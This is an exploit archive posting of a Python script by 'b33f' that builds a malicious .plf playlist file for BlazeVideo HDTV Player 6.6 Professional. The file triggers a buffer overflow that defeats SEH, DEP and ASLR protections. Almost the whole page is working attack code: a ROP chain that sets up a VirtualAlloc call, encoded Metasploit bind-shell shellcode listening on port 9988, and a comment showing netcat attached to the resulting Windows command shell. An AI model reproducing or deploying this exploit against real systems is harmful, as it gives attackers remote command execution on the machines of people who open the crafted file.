what you don't know can hurt you

BlazeVideo HDTV Player 6.6 Professional Buffer Overflow

BlazeVideo HDTV Player 6.6 Professional Buffer Overflow
Posted Apr 4, 2012
Authored by b33f

BlazeVideo HDTV Player version 6.6 Professional buffer overflow exploit with SEH + DEP + ASLR bypass.

tags | exploit, overflow
MD5 | 9bb3ee2666e35d7e301d2f9019600056

BlazeVideo HDTV Player 6.6 Professional Buffer Overflow

Change Mirror Download
#!/usr/bin/python -w

#-----------------------------------------------------------------------------------#
# Exploit: BlazeVideo HDTV Player 6.6 Professional SEH&DEP&ASLR #
# Author: b33f - http://www.fuzzysecurity.com/ #
# OS: Tested on Windows 7 32-bit PRO SP1 #
# Software Link: http://www.blazevideo.com/download.htm #
# Pro v6.6 - Apr 12, 2011 #
#-----------------------------------------------------------------------------------#
# The opportunity to secure ourselves against defeat lies in our own hands #
# but the opportunity of defeating the enemy is provided by the enemy himself. #
# - Sun Tzu #
#-----------------------------------------------------------------------------------#
# Special thanks: #
# Lincoln - Thx for the assist! #
# corelanc0d3r - Thx for taking the time to go over my work and pointing me #
# at VirtualAlloc()! #
#-----------------------------------------------------------------------------------#
# root@bt:~# nc -nv 192.168.111.129 9988 #
# (UNKNOWN) [192.168.111.129] 9988 (?) open #
# Microsoft Windows [Version 6.1.7601] #
# Copyright (c) 2009 Microsoft Corporation. All rights reserved. #
# #
# C:\Program Files\BlazeVideo\BlazeVideo HDTV Player 6.6 Professional> #
#-----------------------------------------------------------------------------------#

filename="blaze.plf"

#-----------------------------Pivot-Align-----------------------------#
SEH = "\x95\x53\x30\x61" # Pivot; ADD ESP,800 # RETN
pad = "b33f"*35 # pad ESP to our alignment (140-bytes)

#------------------Save Stack Pointer in EDI&EAX&ESI------------------#
stack = (
"\xC5\x30\x03\x64" # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN
"\x41\x41\x41\x41" # Padding for POP ESI
"\x24\x60\x02\x64" # PUSH ESP # POP ESI # RETN
"\xEE\x65\x03\x64" # XCHG EAX,ESI # RETN
"\x24\x60\x02\x64" # PUSH ESP # POP ESI # RETN
"\xBF\xCD\x02\x64") # ADD ESP,20 # RETN

#----------------------------VirtualAlloc()---------------------------#
params = (
"\xB4\x11\x34\x60" # VirtualAlloc()
"WWWW" # lpAddress \ We need this value twice for alignment!
"WWWW" # lpAddress /
"XXXX" # dwSize (0x1)
"YYYY" # flAllocationType (0x1000)
"ZZZZ" # flProtect (0x40)
"\x41\x41\x41\x41" # Padding
"\x41\x41\x41\x41") # Padding

#-----------------------ROP Chain - lpAddress-------------------------#
rop = (
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN \
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN | ADD EAX 1E0
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN |
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN /
"\xCB\x06\x11\x64" # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN \
"\xCB\x06\x11\x64" # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN |
"\xCB\x06\x11\x64" # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | DEC ESI 8
"\xCB\x06\x11\x64" # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | We need lpAddress twice to return to the proper
"\xCB\x06\x11\x64" # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | place after executing VirtualAlloc(), the lpAddress
"\xCB\x06\x11\x64" # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN | parameters are located at ESI+10 and ESI+14
"\xCB\x06\x11\x64" # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN |
"\xCB\x06\x11\x64" # DEC ESI # AND BYTE PTR DS:[EDI-18],DL # RETN /
"\xCA\xB5\x33\x60" # MOV DWORD PTR DS:[ESI+10],EAX # MOV DWORD PTR DS:[ESI+14],EAX # MOV EAX,ESI # POP ESI # POP EBX # RETN
"\x41\x41\x41\x41" # Padding for POP ESI
"\x41\x41\x41\x41" # Padding for POP EBX

#------------------------ROP Chain - dwSize---------------------------#
"\xD3\xB1\x04\x64" # PUSH EAX # POP ESI # RETN 04
"\xCA\x71\x04\x64" # XCHG EAX,EDI # ADD EAX,2EB0000 # XOR EAX,EAX # RETN 04
"\x41\x41\x41\x41" # Padding for RETN 04
"\x6D\xA1\x03\x64" # INC EAX # RETN
"\x41\x41\x41\x41" # Padding for RETN 04
"\x15\x14\x03\x64" # INC ESI # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x90\x73\x64\x61" # MOV DWORD PTR DS:[ESI+14],EAX # MOV EAX,ESI # POP ESI # POP EBX # RETN
"\x41\x41\x41\x41" # Padding for POP ESI
"\x41\x41\x41\x41" # Padding for POP EBX

#-------------------ROP Chain - flAllocationType----------------------#
"\xD3\xB1\x04\x64" # PUSH EAX # POP ESI # RETN 04
"\xCA\x71\x04\x64" # XCHG EAX,EDI # ADD EAX,2EB0000 # XOR EAX,EAX # RETN 04
"\x41\x41\x41\x41" # Padding for RETN 04
"\x13\x30\x10\x64" # POP EAX # RETN
"\x41\x41\x41\x41" # Padding for RETN 04
"\xFF\xEF\xFF\xFF" # 0xFFFFEFFF
"\xCB\x6E\x33\x61" # NEG EAX # RETN
"\x2C\x4E\x10\x64" # DEC EAX # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x90\x73\x64\x61" # MOV DWORD PTR DS:[ESI+14],EAX # MOV EAX,ESI # POP ESI # POP EBX # RETN
"\x41\x41\x41\x41" # Padding for POP ESI
"\x41\x41\x41\x41" # Padding for POP EBX

#-----------------------ROP Chain - flProtect-------------------------#
"\xD3\xB1\x04\x64" # PUSH EAX # POP ESI # RETN 04
"\xCA\x71\x04\x64" # XCHG EAX,EDI # ADD EAX,2EB0000 # XOR EAX,EAX # RETN 04
"\x41\x41\x41\x41" # Padding for RETN 04
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN
"\x41\x41\x41\x41" # Padding for RETN 04
"\xF7\x24\x03\x64" # ADD EAX,20 # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x15\x14\x03\x64" # INC ESI # RETN
"\x90\x73\x64\x61" # MOV DWORD PTR DS:[ESI+14],EAX # MOV EAX,ESI # POP ESI # POP EBX # RETN
"\x41\x41\x41\x41" # Padding for POP ESI
"\x41\x41\x41\x41" # Padding for POP EBX

#-----------------ROP Chain - Fix PTR VirtualAlloc()------------------#
"\xD3\xB1\x04\x64" # PUSH EAX # POP ESI # RETN 04
"\x0B\xA8\x03\x64" # MOV EAX,DWORD PTR DS:[EAX] # RETN
"\x41\x41\x41\x41" # Padding for RETN 04
"\x0B\xA8\x03\x64" # MOV EAX,DWORD PTR DS:[EAX] # RETN
"\x64\x40\x04\x64" # MOV DWORD PTR DS:[ESI],EAX # POP ESI # RETN
"\x41\x41\x41\x41" # Padding for POP ESI
"\x16\xA4\x04\x64" # MOV EAX,EDI # POP EDI # POP ESI # RETN
"\x41\x41\x41\x41" # Padding for POP EDI
"\x41\x41\x41\x41" # Padding for POP ESI
"\x6D\xA1\x03\x64" # INC EAX # RETN
"\x6D\xA1\x03\x64" # INC EAX # RETN
"\x6D\xA1\x03\x64" # INC EAX # RETN
"\x6D\xA1\x03\x64" # INC EAX # RETN
"\xC6\x2A\x03\x64") # PUSH EAX # POP ESP # RETN

#-------------------------------------------------------------------------------------#
# We have an ample amount of space... #
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c #
# [*] x86/alpha_mixed succeeded with size 743 (iteration=1) #
#-------------------------------------------------------------------------------------#
shellcode = (
"\x89\xe5\xda\xd8\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39"
"\x6c\x79\x78\x6b\x39\x63\x30\x57\x70\x55\x50\x31\x70\x6b\x39"
"\x39\x75\x30\x31\x78\x52\x45\x34\x6e\x6b\x70\x52\x36\x50\x6e"
"\x6b\x32\x72\x34\x4c\x4c\x4b\x50\x52\x77\x64\x4c\x4b\x50\x72"
"\x74\x68\x54\x4f\x68\x37\x31\x5a\x51\x36\x65\x61\x6b\x4f\x74"
"\x71\x59\x50\x6e\x4c\x75\x6c\x75\x31\x53\x4c\x63\x32\x54\x6c"
"\x31\x30\x4f\x31\x38\x4f\x44\x4d\x56\x61\x78\x47\x6b\x52\x78"
"\x70\x76\x32\x73\x67\x4e\x6b\x43\x62\x52\x30\x4e\x6b\x70\x42"
"\x37\x4c\x43\x31\x4a\x70\x4e\x6b\x67\x30\x42\x58\x6d\x55\x6f"
"\x30\x31\x64\x62\x6a\x37\x71\x7a\x70\x62\x70\x4e\x6b\x42\x68"
"\x72\x38\x6e\x6b\x32\x78\x75\x70\x67\x71\x4b\x63\x6d\x33\x45"
"\x6c\x73\x79\x4c\x4b\x57\x44\x6e\x6b\x43\x31\x5a\x76\x66\x51"
"\x4b\x4f\x65\x61\x79\x50\x6e\x4c\x6f\x31\x38\x4f\x44\x4d\x36"
"\x61\x48\x47\x47\x48\x6d\x30\x53\x45\x6c\x34\x56\x63\x51\x6d"
"\x58\x78\x55\x6b\x63\x4d\x55\x74\x61\x65\x6a\x42\x36\x38\x4c"
"\x4b\x36\x38\x77\x54\x36\x61\x38\x53\x31\x76\x4e\x6b\x34\x4c"
"\x72\x6b\x4c\x4b\x53\x68\x67\x6c\x77\x71\x39\x43\x4e\x6b\x66"
"\x64\x4c\x4b\x43\x31\x48\x50\x4c\x49\x53\x74\x35\x74\x35\x74"
"\x43\x6b\x33\x6b\x30\x61\x73\x69\x71\x4a\x62\x71\x49\x6f\x6d"
"\x30\x50\x58\x31\x4f\x61\x4a\x4e\x6b\x42\x32\x38\x6b\x6d\x56"
"\x43\x6d\x33\x58\x75\x63\x74\x72\x57\x70\x35\x50\x50\x68\x42"
"\x57\x51\x63\x70\x32\x43\x6f\x73\x64\x33\x58\x32\x6c\x51\x67"
"\x56\x46\x76\x67\x6b\x4f\x4b\x65\x6f\x48\x6c\x50\x63\x31\x63"
"\x30\x73\x30\x37\x59\x78\x44\x72\x74\x32\x70\x55\x38\x64\x69"
"\x6d\x50\x50\x6b\x43\x30\x69\x6f\x4e\x35\x72\x70\x72\x70\x56"
"\x30\x42\x70\x63\x70\x50\x50\x61\x50\x62\x70\x30\x68\x79\x7a"
"\x76\x6f\x4b\x6f\x6d\x30\x59\x6f\x79\x45\x4e\x69\x79\x57\x44"
"\x71\x39\x4b\x56\x33\x65\x38\x76\x62\x35\x50\x57\x57\x76\x64"
"\x6d\x59\x6b\x56\x51\x7a\x62\x30\x33\x66\x56\x37\x65\x38\x59"
"\x52\x49\x4b\x77\x47\x55\x37\x59\x6f\x59\x45\x46\x33\x51\x47"
"\x45\x38\x6c\x77\x39\x79\x65\x68\x39\x6f\x59\x6f\x6b\x65\x46"
"\x33\x56\x33\x73\x67\x72\x48\x74\x34\x7a\x4c\x37\x4b\x59\x71"
"\x6b\x4f\x68\x55\x61\x47\x6f\x79\x78\x47\x43\x58\x50\x75\x62"
"\x4e\x70\x4d\x53\x51\x49\x6f\x7a\x75\x35\x38\x32\x43\x30\x6d"
"\x42\x44\x75\x50\x6c\x49\x48\x63\x72\x77\x46\x37\x33\x67\x56"
"\x51\x69\x66\x42\x4a\x57\x62\x50\x59\x70\x56\x59\x72\x69\x6d"
"\x43\x56\x4b\x77\x77\x34\x75\x74\x77\x4c\x77\x71\x56\x61\x4c"
"\x4d\x37\x34\x31\x34\x44\x50\x58\x46\x37\x70\x51\x54\x31\x44"
"\x52\x70\x42\x76\x46\x36\x51\x46\x67\x36\x43\x66\x50\x4e\x43"
"\x66\x42\x76\x43\x63\x71\x46\x45\x38\x53\x49\x48\x4c\x37\x4f"
"\x4b\x36\x59\x6f\x58\x55\x4b\x39\x6b\x50\x62\x6e\x56\x36\x61"
"\x56\x4b\x4f\x30\x30\x31\x78\x77\x78\x4e\x67\x47\x6d\x33\x50"
"\x49\x6f\x6b\x65\x4d\x6b\x48\x70\x6d\x65\x4e\x42\x32\x76\x65"
"\x38\x59\x36\x4f\x65\x6f\x4d\x4d\x4d\x49\x6f\x78\x55\x47\x4c"
"\x33\x36\x71\x6c\x57\x7a\x4b\x30\x39\x6b\x6b\x50\x53\x45\x64"
"\x45\x4f\x4b\x53\x77\x75\x43\x44\x32\x50\x6f\x32\x4a\x43\x30"
"\x50\x53\x49\x6f\x48\x55\x41\x41")

ph33r = "\x90"*160 + shellcode
b00m = SEH + pad + stack + params + rop + ph33r

buffer = "A"*872 + b00m + "B"*(4128-len(b00m))

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()


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